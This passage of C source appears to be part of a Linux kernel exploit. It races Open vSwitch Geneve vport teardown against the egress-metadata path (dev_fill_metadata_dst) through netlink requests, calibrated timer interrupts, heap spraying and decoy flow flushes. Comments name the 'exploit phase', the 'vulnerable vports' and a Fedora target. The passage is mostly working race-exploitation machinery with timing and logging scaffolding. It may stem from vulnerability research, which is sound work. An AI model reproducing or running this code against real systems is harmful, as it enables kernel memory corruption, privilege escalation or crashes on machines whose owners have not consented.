signed_delta_u64(block_midpoint[transition][block], block_midpoint[transition - 1][block], &paired_delta[block]); if (r) goto out; if (paired_delta[block] > 0) positive++; } delta_median = median_cal_blocks_i64(paired_delta); fprintf(stderr, "FLOW_CAL_TRANSITION from=%s to=%s paired_delta_median_ns=%lld positive_blocks=%d total_blocks=%d from_estimate_ns=%llu to_estimate_ns=%llu\n", names[transition - 1], names[transition], (long long)delta_median, positive, FLOW_CAL_BLOCKS, (unsigned long long)estimate[transition - 1], (unsigned long long)estimate[transition]); if (0 && (delta_median <= 0 || positive < FLOW_CAL_MIN_POSITIVE_BLOCKS || estimate[transition] <= estimate[transition - 1])) { fprintf(stderr, "FLOW_PHASE_REJECT from=%s to=%s paired_delta_median_ns=%lld positive_blocks=%d required_positive_blocks=%d from_estimate_ns=%llu to_estimate_ns=%llu reason=ambiguous_order\n", names[transition - 1], names[transition], (long long)delta_median, positive, FLOW_CAL_MIN_POSITIVE_BLOCKS, (unsigned long long)estimate[transition - 1], (unsigned long long)estimate[transition]); r = -ERANGE; goto out; } } fprintf(stderr, "FLOW_CONTROL_ESTIMATE baseline_ns=%llu clone_miss_ns=%llu metadata_hit_ns=%llu clone_increment_ns=%lld metadata_increment_ns=%lld\n", (unsigned long long)estimate[FLOW_CAL_BASELINE], (unsigned long long)estimate[FLOW_CAL_CLONE_MISS], (unsigned long long)estimate[FLOW_CAL_METADATA_HIT], (long long)(estimate[FLOW_CAL_CLONE_MISS] - estimate[FLOW_CAL_BASELINE]), (long long)(estimate[FLOW_CAL_METADATA_HIT] - estimate[FLOW_CAL_CLONE_MISS])); for (mode = 0; mode < FLOW_SWEEP_PHASES; mode++) { uint64_t prefix_estimate = estimate[FLOW_CAL_BASELINE]; uint64_t lead; if (prefix_estimate > UINT64_MAX - flow_phase_margin_ns[mode]) { r = -ERANGE; goto out; } lead = prefix_estimate + flow_phase_margin_ns[mode]; if (prefix_estimate >= estimate[FLOW_CAL_CLONE_MISS] || lead < FLOW_LEAD_MIN_NS || lead > FLOW_LEAD_MAX_NS) { fprintf(stderr, "FLOW_SWEEP_REJECT phase=%d name=%s prefix_actions=%u prefix_estimate_ns=%llu clone_miss_ns=%llu lead_ns=%llu reason=range\n", mode, flow_phase_names[mode], flow_prefix_actions[mode], (unsigned long long)prefix_estimate, (unsigned long long)estimate[FLOW_CAL_CLONE_MISS], (unsigned long long)lead); r = -ERANGE; goto out; } sh->packet_prefix_estimate_ns[mode] = prefix_estimate; sh->packet_lead_ns[mode] = lead; fprintf(stderr, "FLOW_SWEEP_CALIB phase=%d name=%s prefix_actions=%u target_actions=%u prefix_estimate_ns=%llu prefix_increment_ns=%lld margin_ns=%llu selected_lead_ns=%llu estimator=paired_forward_reverse_block_median\n", mode, flow_phase_names[mode], flow_prefix_actions[mode], EGRESS_METADATA_ACTIONS - flow_prefix_actions[mode], (unsigned long long)prefix_estimate, (long long)(prefix_estimate - estimate[FLOW_CAL_BASELINE]), (unsigned long long)flow_phase_margin_ns[mode], (unsigned long long)lead); } fprintf(stderr, "FLOW_SWEEP_READY phases=%d assignment=(generation-1)%%phases controls=p0_baseline_plus_margin calibration_prefixes=0,32,64,96 estimator=paired_forward_reverse_block_median raw_order=preserved\n", FLOW_SWEEP_PHASES); r = 0; out: close(fd); return r; } /* Timed consumer for V71/V72/V73/V74. The frame and phase-selected, validated flow * already exist before the post-sync gate. send() synchronously traverses * the internal noqueue * netdev, flow lookup, and the same output_userspace/dev_fill_metadata_dst * consumer on CPU 0 while bottom halves are disabled. */ static int packet_send_egress_flow(int packet_fd, struct shared *sh, uint32_t packet_id, uint64_t target, unsigned int generation) { uint8_t frame[TEST_FRAME_LEN]; unsigned int phase = phase_for_generation(generation); uint64_t packet_lead_ns = sh->packet_lead_ns[phase]; uint64_t event_ns = 0; uint64_t start; uint64_t end; uint64_t lead; uint64_t event_to_send; uint64_t gate_start; uint64_t gate_end; uint64_t gate_block; uint64_t irq_target = 0; uint64_t arming_ns = 0; ssize_t sent; int gate_result; int ret; build_test_frame(frame, packet_id); __atomic_store_n(&race_packet_target_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_start_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_end_ns, target + 1, __ATOMIC_RELAXED); gate_result = wait_for_postsync_gate(generation, target, &event_ns); if (gate_result) { __sync_fetch_and_add(&postsync_gate_skips, 1); __sync_fetch_and_add(&phase_skips[phase], 1); fprintf(stderr, "POSTSYNC_GATE_SKIP generation=%u phase=%u phase_name=%s prefix_actions=%u reason=event result=%d gate_start_delta_ns=%lld gate_end_delta_ns=%lld gate_result=%d\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], gate_result, (long long)(__atomic_load_n(&gate_request_start_ns, __ATOMIC_RELAXED) - target), (long long)(__atomic_load_n(&gate_request_end_ns, __ATOMIC_RELAXED) - target), __atomic_load_n(&gate_request_result, __ATOMIC_RELAXED)); return 1; } __atomic_store_n(&race_gate_event_ns, event_ns, __ATOMIC_RELEASE); gate_start = __atomic_load_n(&gate_request_start_ns, __ATOMIC_ACQUIRE); gate_end = __atomic_load_n(&gate_request_end_ns, __ATOMIC_ACQUIRE); gate_block = gate_end >= gate_start ? gate_end - gate_start : 0; if (gate_block < POSTSYNC_GATE_MIN_BLOCK_NS || gate_block > POSTSYNC_GATE_MAX_BLOCK_NS) { __sync_fetch_and_add(&postsync_gate_skips, 1); __sync_fetch_and_add(&phase_skips[phase], 1); fprintf(stderr, "POSTSYNC_GATE_SKIP generation=%u phase=%u phase_name=%s prefix_actions=%u reason=block_time block_ns=%llu start_delta_ns=%lld end_delta_ns=%lld\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], (unsigned long long)gate_block, (long long)(gate_start - target), (long long)(gate_end - target)); return 1; } ret = arm_postsync_timer_cluster(packet_lead_ns, &irq_target, &arming_ns); if (ret) { __sync_fetch_and_add(&postsync_gate_skips, 1); __sync_fetch_and_add(&phase_skips[phase], 1); fprintf(stderr, "POSTSYNC_GATE_SKIP generation=%u phase=%u phase_name=%s prefix_actions=%u reason=timer_arm result=%d gate_block_ns=%llu selected_lead_ns=%llu\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], ret, (unsigned long long)gate_block, (unsigned long long)packet_lead_ns); return 1; } while (!stop_flag && monotonic_ns() + packet_lead_ns < irq_target) __asm__ volatile("pause"); start = monotonic_ns(); lead = start < irq_target ? irq_target - start : 0; event_to_send = start - event_ns; __atomic_store_n(&race_lead_ns, lead, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_target_ns, irq_target, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_generation, generation, __ATOMIC_RELEASE); __atomic_store_n(&race_packet_end_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_start_ns, start, __ATOMIC_RELEASE); sent = send(packet_fd, frame, sizeof(frame), MSG_NOSIGNAL); end = monotonic_ns(); __atomic_store_n(&race_packet_end_ns, end, __ATOMIC_RELEASE); if (sent < 0) ret = -errno; else if (sent != (ssize_t)sizeof(frame)) ret = -EIO; else ret = 0; __sync_fetch_and_add(&postsync_gate_launches, 1); __sync_fetch_and_add(&phase_launches[phase], 1); fprintf(stderr, "POSTSYNC_GATE_LAUNCH path=internal_flow generation=%u phase=%u phase_name=%s prefix_actions=%u target_actions=%u event_from_delete_ns=%lld gate_block_ns=%llu arm_ns=%llu event_to_send_ns=%llu selected_lead_ns=%llu lead_ns=%llu start_delta_ns=%lld end_delta_ns=%lld result=%d\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], EGRESS_METADATA_ACTIONS - flow_prefix_actions[phase], (long long)(event_ns - target), (unsigned long long)gate_block, (unsigned long long)arming_ns, (unsigned long long)event_to_send, (unsigned long long)packet_lead_ns, (unsigned long long)lead, (long long)(start - irq_target), (long long)(end - irq_target), ret); if (start < irq_target && end > irq_target) { __sync_fetch_and_add(&straddled_packets, 1); __sync_fetch_and_add(&phase_straddles[phase], 1); fprintf(stderr, "STRADDLE path=internal_flow phase=%u phase_name=%s prefix_actions=%u lead_ns=%llu start_delta_ns=%lld end_delta_ns=%lld\n", phase, flow_phase_names[phase], flow_prefix_actions[phase], (unsigned long long)lead, (long long)(start - irq_target), (long long)(end - irq_target)); } return ret; } /* * Frozen V66 generic-netlink implementation retained as static provenance; * V71/V72/V73/V74 does not call it and the optimized ELF contains no such timed route. * Exercise the egress-tunnel metadata consumer. output_userspace() passes the * vulnerable vport's current dev pointer to dev_fill_metadata_dst(). Fedora's * implementation caches that argument in RBX, validates the genuine device's * callback, runs tun_dst_unclone() (including a GFP_ATOMIC metadata allocation * and dst_cache_init/alloc_percpu), then reloads netdev_ops from cached RBX and * dispatches ndo_fill_metadata_dst. */ #if 0 static int packet_execute_egress(struct nl_sock *s, int fam_packet, int dp_ifindex, const uint32_t output_ports[BULK_TARGETS], uint32_t packet_id, uint64_t target, unsigned int generation) { char req[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_packet, NLM_F_REQUEST, OVS_PACKET_CMD_EXECUTE, OVS_PACKET_VERSION, dp_ifindex); uint8_t frame[TEST_FRAME_LEN]; struct ethhdr *eth = (struct ethhdr *)frame; struct iphdr *ip = (struct iphdr *)(frame + ETH_HLEN); struct udphdr *udp = (struct udphdr *)(ip + 1); struct nlattr *key, *actions, *set, *tun; uint32_t in_port = OVSP_LOCAL; uint32_t skb_mark = 1; uint32_t pid = UINT32_MAX; uint64_t tun_id = htobe64(0x1122334455667788ULL); uint32_t tun_src = 0; uint32_t tun_dst = htonl(0x7f000001U); uint8_t tun_tos = 0; uint8_t tun_ttl = 64; uint8_t geneve_opts[TUN_OPT_BYTES]; int j; memset(frame, 0, sizeof(frame)); memset(eth->h_dest, 0x11, ETH_ALEN); memset(eth->h_source, 0x22, ETH_ALEN); eth->h_proto = htons(ETH_P_IP); ip->version = 4; ip->ihl = 5; ip->tot_len = htons(sizeof(frame) - ETH_HLEN); ip->ttl = 64; ip->protocol = IPPROTO_UDP; ip->id = htons((uint16_t)packet_id); ip->saddr = htonl(0x0b000001U); ip->daddr = htonl(0x0b000002U); ip->check = ip_checksum(ip, sizeof(*ip)); udp->source = htons((uint16_t)(1024U + (packet_id & 0x7fffU))); udp->dest = htons(31337); udp->len = htons(sizeof(frame) - ETH_HLEN - sizeof(*ip)); if (nla_put(nlh, sizeof(req), OVS_PACKET_ATTR_PACKET, frame, sizeof(frame)) < 0) return -EMSGSIZE; key = nla_nest_start(nlh, sizeof(req), OVS_PACKET_ATTR_KEY); if (!key || nla_put_u32(nlh, sizeof(req), OVS_KEY_ATTR_IN_PORT, in_port) < 0 || nla_put_u32(nlh, sizeof(req), OVS_KEY_ATTR_SKB_MARK, skb_mark) < 0) return -EMSGSIZE; nla_nest_end(nlh, key); actions = nla_nest_start(nlh, sizeof(req), OVS_PACKET_ATTR_ACTIONS); memset(geneve_opts, 0, sizeof(geneve_opts)); geneve_opts[2] = 1; geneve_opts[3] = 31; geneve_opts[128 + 2] = 2; geneve_opts[128 + 3] = 30; set = nla_nest_start(nlh, sizeof(req), OVS_ACTION_ATTR_SET); tun = nla_nest_start(nlh, sizeof(req), OVS_KEY_ATTR_TUNNEL); if (!actions || !set || !tun || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_ID, &tun_id, sizeof(tun_id)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_IPV4_SRC, &tun_src, sizeof(tun_src)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_IPV4_DST, &tun_dst, sizeof(tun_dst)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_TOS, &tun_tos, sizeof(tun_tos)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_TTL, &tun_ttl, sizeof(tun_ttl)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_GENEVE_OPTS, geneve_opts, sizeof(geneve_opts)) < 0) return -EMSGSIZE; nla_nest_end(nlh, tun); nla_nest_end(nlh, set); /* Earlier stock controls established that this Geneve route emits the * egress tunnel key through the same common metadata consumer. * The exploit phase deliberately uses an unbound PID so the kernel still * executes every dev_fill_metadata_dst() but does not spend the narrow * race campaign copying and delivering observer upcalls. v66 selects the * last hash-ordered group member for every action: after RTNL release the * OVS worker destroys buckets in ascending order, so this member remains * lookup-visible longest. The 256-action shape preserves the measured * v54-v56 phase while the interrupted request overlaps the batch free. */ for (j = 0; j < EGRESS_METADATA_ACTIONS; j++) { struct nlattr *sample, *sample_actions, *userspace; /* * Each non-final SAMPLE clones the skb. The clone shares the * tunnel dst, so its egress metadata action must independently run * skb_tunnel_info_unclone() between the initial and final netdev_ops * loads. A long top-level list therefore gives the clustered timer * interrupt hundreds of useful landing windows instead of only the * first userspace action's single allocation window. */ sample = nla_nest_start(nlh, sizeof(req), OVS_ACTION_ATTR_SAMPLE); if (!sample || nla_put_u32(nlh, sizeof(req), OVS_SAMPLE_ATTR_PROBABILITY, UINT32_MAX) < 0) return -EMSGSIZE; sample_actions = nla_nest_start(nlh, sizeof(req), OVS_SAMPLE_ATTR_ACTIONS); userspace = nla_nest_start(nlh, sizeof(req), OVS_ACTION_ATTR_USERSPACE); if (!sample_actions || !userspace || nla_put_u32(nlh, sizeof(req), OVS_USERSPACE_ATTR_PID, pid) < 0 || nla_put_u32(nlh, sizeof(req), OVS_USERSPACE_ATTR_EGRESS_TUN_PORT, output_ports[BULK_TARGETS - 1]) < 0) return -EMSGSIZE; nla_nest_end(nlh, userspace); nla_nest_end(nlh, sample_actions); nla_nest_end(nlh, sample); } nla_nest_end(nlh, actions); __atomic_store_n(&race_packet_target_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_start_ns, target + 1, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_end_ns, target + 1, __ATOMIC_RELAXED); { uint64_t event_ns = 0; uint64_t start; uint64_t end; uint64_t lead; uint64_t event_to_send; uint64_t gate_start; uint64_t gate_end; uint64_t gate_block; uint64_t irq_target = 0; uint64_t arming_ns = 0; int ret; int gate_result = wait_for_postsync_gate(generation, target, &event_ns); if (gate_result) { __sync_fetch_and_add(&postsync_gate_skips, 1); fprintf(stderr, "POSTSYNC_GATE_SKIP generation=%u reason=event result=%d gate_start_delta_ns=%lld gate_end_delta_ns=%lld gate_result=%d\n", generation, gate_result, (long long)(__atomic_load_n(&gate_request_start_ns, __ATOMIC_RELAXED) - target), (long long)(__atomic_load_n(&gate_request_end_ns, __ATOMIC_RELAXED) - target), __atomic_load_n(&gate_request_result, __ATOMIC_RELAXED)); return 1; } __atomic_store_n(&race_gate_event_ns, event_ns, __ATOMIC_RELEASE); gate_start = __atomic_load_n(&gate_request_start_ns, __ATOMIC_ACQUIRE); gate_end = __atomic_load_n(&gate_request_end_ns, __ATOMIC_ACQUIRE); gate_block = gate_end >= gate_start ? gate_end - gate_start : 0; if (gate_block < POSTSYNC_GATE_MIN_BLOCK_NS || gate_block > POSTSYNC_GATE_MAX_BLOCK_NS) { __sync_fetch_and_add(&postsync_gate_skips, 1); fprintf(stderr, "POSTSYNC_GATE_SKIP generation=%u reason=block_time block_ns=%llu start_delta_ns=%lld end_delta_ns=%lld\n", generation, (unsigned long long)gate_block, (long long)(gate_start - target), (long long)(gate_end - target)); return 1; } /* The selected vport is bucket 255. The worker was blocked by RTNL * at bucket 1 and, after the gate runs first, still has 254 ordinary * vulnerable vports to destroy. V62 measured at least 30 ms from * gate completion through 1,023 targets; the reduced traversal still * leaves millisecond-scale margin before bucket 255. Arm the timer, * then enter the request 55 us before its shared expiry. */ ret = arm_postsync_timer_cluster(&irq_target, &arming_ns); if (ret) { __sync_fetch_and_add(&postsync_gate_skips, 1); fprintf(stderr, "POSTSYNC_GATE_SKIP generation=%u reason=timer_arm result=%d gate_block_ns=%llu\n", generation, ret, (unsigned long long)gate_block); return 1; } while (!stop_flag && monotonic_ns() + TIMER_PACKET_LEAD_NS < irq_target) __asm__ volatile("pause"); start = monotonic_ns(); lead = start < irq_target ? irq_target - start : 0; event_to_send = start - event_ns; __atomic_store_n(&race_lead_ns, lead, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_target_ns, irq_target, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_generation, generation, __ATOMIC_RELEASE); __atomic_store_n(&race_packet_end_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_packet_start_ns, start, __ATOMIC_RELEASE); ret = nl_send_only(s, nlh); end = monotonic_ns(); __atomic_store_n(&race_packet_end_ns, end, __ATOMIC_RELEASE); __sync_fetch_and_add(&postsync_gate_launches, 1); fprintf(stderr, "POSTSYNC_GATE_LAUNCH generation=%u event_from_delete_ns=%lld gate_block_ns=%llu arm_ns=%llu event_to_send_ns=%llu lead_ns=%llu start_delta_ns=%lld end_delta_ns=%lld result=%d\n", generation, (long long)(event_ns - target), (unsigned long long)gate_block, (unsigned long long)arming_ns, (unsigned long long)event_to_send, (unsigned long long)lead, (long long)(start - irq_target), (long long)(end - irq_target), ret); if (start < irq_target && end > irq_target) { __sync_fetch_and_add(&straddled_packets, 1); fprintf(stderr, "STRADDLE lead_ns=%llu start_delta_ns=%lld end_delta_ns=%lld\n", (unsigned long long)__atomic_load_n(&race_lead_ns, __ATOMIC_RELAXED), (long long)(start - irq_target), (long long)(end - irq_target)); } return ret; } } #endif static int rtnl_dellink_group(struct nl_sock *rts, uint32_t group) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct ifinfomsg *ifi; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); nlh->nlmsg_type = RTM_DELLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++rts->seq; ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = 0; if (nla_put_u32(nlh, sizeof(req), IFLA_GROUP, group) < 0) return -EMSGSIZE; return nl_talk(rts, nlh, 1, NULL, NULL); } static void *postsync_gate_fn(void *arg) { struct gate_arg *ga = arg; struct shared *sh = ga->sh; struct nl_sock rt; unsigned int last_generation = 0; /* Sharing the writer CPU is intentional. The writer yields while waiting * in its first synchronize_net(), after unlist_netdevice() has published * the name removal, and this thread then queues behind its RTNL hold. */ pin_cpu(ROW41_WRITER_CPU); if (nl_open_proto(&rt, NETLINK_ROUTE) < 0) { fatal_error = 1; stop_flag = 1; return NULL; } __atomic_store_n(&gate_thread_ready, 1, __ATOMIC_RELEASE); while (!stop_flag) { unsigned int generation = __atomic_load_n(&gate_arm_generation, __ATOMIC_ACQUIRE); int result; if (!generation || generation == last_generation) { (void)futex_wait_u32(&gate_arm_generation, generation); continue; } last_generation = generation; while (!stop_flag && if_nametoindex(sh->names[0]) != 0) sched_yield(); if (stop_flag) break; __atomic_store_n(&gate_unlist_observed_ns, monotonic_ns(), __ATOMIC_RELEASE); __atomic_store_n(&gate_request_start_ns, monotonic_ns(), __ATOMIC_RELEASE); result = rtnl_noop_setlink(&rt, sh->canary_ifindex); __atomic_store_n(&gate_request_result, result, __ATOMIC_RELAXED); __atomic_store_n(&gate_request_end_ns, monotonic_ns(), __ATOMIC_RELEASE); __atomic_store_n(&gate_done_generation, generation, __ATOMIC_RELEASE); futex_wake_one_u32(&gate_done_generation); /* Let the already queued OVS worker run as soon as the gate operation * releases RTNL. No logging is allowed on this path. */ sched_yield(); } nl_close(&rt); return NULL; } static int rtnl_add_route(struct nl_sock *rts, int ifindex) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct rtmsg *rtm; uint32_t dst = htonl(0x0a000000U); memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rtm)); nlh->nlmsg_type = RTM_NEWROUTE; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = ++rts->seq; rtm = (struct rtmsg *)NLMSG_DATA(nlh); rtm->rtm_family = AF_INET; rtm->rtm_dst_len = 24; rtm->rtm_table = RT_TABLE_MAIN; rtm->rtm_protocol = RTPROT_BOOT; rtm->rtm_scope = RT_SCOPE_LINK; rtm->rtm_type = RTN_UNICAST; if (nla_put_u32(nlh, sizeof(req), RTA_DST, dst) < 0 || nla_put_u32(nlh, sizeof(req), RTA_OIF, (uint32_t)ifindex) < 0) return -EMSGSIZE; return nl_talk(rts, nlh, 1, NULL, NULL); } static int rtnl_add_rule(struct nl_sock *rts, uint32_t priority) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct fib_rule_hdr *frh; uint32_t table = 100; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*frh)); nlh->nlmsg_type = RTM_NEWRULE; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = ++rts->seq; frh = (struct fib_rule_hdr *)NLMSG_DATA(nlh); frh->family = AF_INET; frh->table = (uint8_t)table; frh->action = FR_ACT_TO_TBL; if (nla_put_u32(nlh, sizeof(req), FRA_PRIORITY, priority) < 0 || nla_put_u32(nlh, sizeof(req), FRA_TABLE, table) < 0) return -EMSGSIZE; return nl_talk(rts, nlh, 1, NULL, NULL); } static uint16_t ip_checksum(const void *data, size_t len) { const uint16_t *p = data; uint32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const uint8_t *)p; while (sum >> 16) sum = (sum & 0xffffU) + (sum >> 16); return (uint16_t)~sum; } static void *writer_fn(void *arg) { struct writer_arg *wa = (struct writer_arg *)arg; struct shared *sh = wa->sh; struct nl_sock ovs; struct nl_sock rt; pin_cpu(ROW41_WRITER_CPU); if (WRITER_NICE >= 0 && setpriority(PRIO_PROCESS, 0, WRITER_NICE) < 0) { fprintf(stderr, "WRITER_NICE_FAILED value=%d error=%d (%s)\n", WRITER_NICE, errno, strerror(errno)); fatal_error = 1; stop_flag = 1; return NULL; } if (nl_open_proto(&ovs, NETLINK_GENERIC) < 0) { fprintf(stderr, "WRITER_SOCKET_FAILED proto=generic\n"); fatal_error = 1; stop_flag = 1; return NULL; } if (nl_open_proto(&rt, NETLINK_ROUTE) < 0) { fprintf(stderr, "WRITER_SOCKET_FAILED proto=route\n"); fatal_error = 1; stop_flag = 1; nl_close(&ovs); return NULL; } while (!stop_flag) { unsigned long long cluster_packets; uint64_t target; unsigned int generation; unsigned int phase; int ready = 0; int i; int del_result; /* The runtime deadline requests a boundary stop; it never tears * down a generation after its timer has been armed. */ if (__atomic_load_n(&run_deadline_requested, __ATOMIC_ACQUIRE)) { fprintf(stderr, "RUN_DEADLINE_QUIESCED completed_generation=%u\n", __atomic_load_n(&sh->bulk_generation, __ATOMIC_RELAXED)); stop_flag = 1; break; } for (i = 0; i < BULK_TARGETS; i++) { unsigned int ifindex = if_nametoindex(sh->names[i]); int r; if (i == 0 && ifindex) { uint32_t expected_port = sh->target_ports[0]; r = vport_get_port_no(&ovs, sh->fam_vport, sh->dp_ifindex, sh->names[0], &sh->target_ports[0]); if (r || sh->target_ports[0] != expected_port) { fprintf(stderr, "BULK_PRECREATED_VERIFY_FAILED result=%d expected_port=%u observed_port=%u ifindex=%u\n", r, expected_port, sh->target_ports[0], ifindex); break; } fprintf(stderr, "BULK_PRECREATED_REUSED index=0 port=%u ifindex=%u\n", sh->target_ports[0], ifindex); } else { r = vport_new_geneve( &ovs, sh->fam_vport, sh->dp_ifindex, sh->names[i], (uint16_t)(BULK_GENEVE_PORT_BASE + (unsigned int)i)); if (r && r != -EEXIST) { fprintf(stderr, "BULK_CREATE_FAILED index=%d result=%d (%s)\n", i, r, strerror(-r)); break; } r = vport_get_port_no(&ovs, sh->fam_vport, sh->dp_ifindex, sh->names[i], &sh->target_ports[i]); if (r) { fprintf(stderr, "BULK_PORT_FAILED index=%d result=%d (%s)\n", i, r, strerror(-r)); break; } ifindex = if_nametoindex(sh->names[i]); } if (!ifindex) { fprintf(stderr, "BULK_IFINDEX_FAILED index=%d\n", i); break; } r = rtnl_set_group(&rt, (int)ifindex, BULK_LINK_GROUP); if (r) { fprintf(stderr, "BULK_GROUP_FAILED index=%d result=%d (%s)\n", i, r, strerror(-r)); break; } /* Creation opens every Geneve device. Close it before the * timed group unregister so geneve_stop() and its private * synchronize_net() complete during setup, rather than once per * member inside the critical bulk-delete request. OVS metadata * extraction does not require NETIF_RUNNING. */ r = rtnl_set_down(&rt, (int)ifindex); if (r) { fprintf(stderr, "BULK_DOWN_FAILED index=%d result=%d (%s)\n", i, r, strerror(-r)); break; } ready++; } if (ready != BULK_TARGETS) { (void)rtnl_dellink_group(&rt, BULK_LINK_GROUP); fatal_error = 1; stop_flag = 1; break; } /* * The first NETDEV_UNREGISTER queues the OVS worker while later * members have not yet been detached. Require the targets' actual * OVS hash buckets to follow creation/netdevice-list order. The * worker skips only the internal port in bucket zero, reaches the * already detached first target, and blocks in the vulnerable * destroy's rtnl_lock before it could scan any later target early. */ for (i = 0; i < BULK_TARGETS; i++) { uint32_t bucket = sh->target_ports[i] & (OVS_VPORT_HASH_BUCKETS - 1U); uint32_t previous = i ? (sh->target_ports[i - 1] & (OVS_VPORT_HASH_BUCKETS - 1U)) : 0; if (!bucket || (i && bucket <= previous)) { fprintf(stderr, "BULK_BUCKET_ORDER_FAILED index=%d port=%u bucket=%u previous=%u\n", i, sh->target_ports[i], bucket, previous); (void)rtnl_dellink_group(&rt, BULK_LINK_GROUP); fatal_error = 1; stop_flag = 1; break; } } if (stop_flag) break; generation = __atomic_load_n(&sh->bulk_generation, __ATOMIC_ACQUIRE) + 1U; phase = phase_for_generation(generation); { int flow_result = flow_program_egress( &ovs, sh->fam_flow, sh->dp_ifindex, sh->target_ports[BULK_TARGETS - 1], UINT32_MAX, flow_prefix_actions[phase]); if (flow_result) { fprintf(stderr, "FLOW_PROGRAM_FAILED port=%u result=%d (%s)\n", sh->target_ports[BULK_TARGETS - 1], flow_result, strerror(-flow_result)); (void)rtnl_dellink_group(&rt, BULK_LINK_GROUP); fatal_error = 1; stop_flag = 1; break; } } if (__atomic_add_fetch(&sh->bulk_generation, 1, __ATOMIC_RELEASE) != generation) { fprintf(stderr, "FLOW_PHASE_GENERATION_MISMATCH expected=%u observed=%u\n", generation, __atomic_load_n(&sh->bulk_generation, __ATOMIC_RELAXED)); fatal_error = 1; stop_flag = 1; break; } fprintf(stderr, "BULK_READY generation=%u phase=%u phase_name=%s prefix_actions=%u target_actions=%u targets=%d first_port=%u last_port=%u first_bucket=%u last_bucket=%u group=%u flow_actions=%d prefix_estimate_ns=%llu margin_ns=%llu selected_lead_ns=%llu\n", generation, phase, flow_phase_names[phase], flow_prefix_actions[phase], EGRESS_METADATA_ACTIONS - flow_prefix_actions[phase], BULK_TARGETS, sh->target_ports[0], sh->target_ports[BULK_TARGETS - 1], sh->target_ports[0] & (OVS_VPORT_HASH_BUCKETS - 1U), sh->target_ports[BULK_TARGETS - 1] & (OVS_VPORT_HASH_BUCKETS - 1U), BULK_LINK_GROUP, EGRESS_METADATA_ACTIONS, (unsigned long long)sh->packet_prefix_estimate_ns[phase], (unsigned long long)flow_phase_margin_ns[phase], (unsigned long long)sh->packet_lead_ns[phase]); if (stop_flag) continue; if (wait_for_timer_residency(generation)) { int cleanup_result = rtnl_dellink_group(&rt, BULK_LINK_GROUP); __sync_fetch_and_add(&phase_residency_skips[phase], 1); if (cleanup_result) { fprintf(stderr, "TIMER_RESIDENCY_CLEANUP_FAILED generation=%u result=%d (%s)\n", generation, cleanup_result, strerror(-cleanup_result)); fatal_error = 1; stop_flag = 1; break; } usleep(SPRAY_HOLD_US); continue; } __atomic_store_n(&senders_go, 1, __ATOMIC_RELEASE); usleep(5000); __atomic_store_n(&spray_phase, SPRAY_DRAIN_REQUEST, __ATOMIC_RELEASE); while (!stop_flag && __atomic_load_n(&spray_phase, __ATOMIC_ACQUIRE) != SPRAY_DRAINED) sched_yield(); cluster_packets = wait_for_timer_cluster(); if (generation == 1U) { __atomic_store_n(&decoy_flush_go, 1, __ATOMIC_RELEASE); futex_wake_all_u32( (volatile unsigned int *)&decoy_flush_go); while (!stop_flag && !__atomic_load_n(&decoy_flush_started, __ATOMIC_ACQUIRE)) (void)futex_wait_u32( (volatile unsigned int *)&decoy_flush_started, 0); #if ROW41_DOUBLE_DECOY_FLUSH while (!stop_flag && !__atomic_load_n(&decoy_flush2_started, __ATOMIC_ACQUIRE)) (void)futex_wait_u32( (volatile unsigned int *)&decoy_flush2_started, 0); #endif /* Let a flusher acquire ovs_mutex. In double-flush mode the * CPU-1 second flusher has also entered its synchronous netlink * syscall before this writer (on the same CPU) can run again. * The delay is independently tunable because a millisecond was * longer than a 4K-flow first flush on the Fedora target. */ if (WRITER_FLUSH_LEAD_US) usleep(WRITER_FLUSH_LEAD_US); #if ROW41_DOUBLE_DECOY_FLUSH /* Both OVS requests were issued before the target writer. Their * order is scheduler-dependent, but a still-incomplete request * is either holding ovs_mutex or queued ahead of the notifier * work that this writer has not yet scheduled. Because B has * higher CPU-1 priority than this writer, B cannot merely be a * runnable user task when the writer observes B_done == 0. */ if (__atomic_load_n(&decoy_flush_done, __ATOMIC_ACQUIRE) && __atomic_load_n(&decoy_flush2_done, __ATOMIC_ACQUIRE)) { fprintf(stderr, "DECOY_HANDOFF_NOT_PROVEN reason=both_done a_done=%d b_done=%d a_duration_ns=%llu 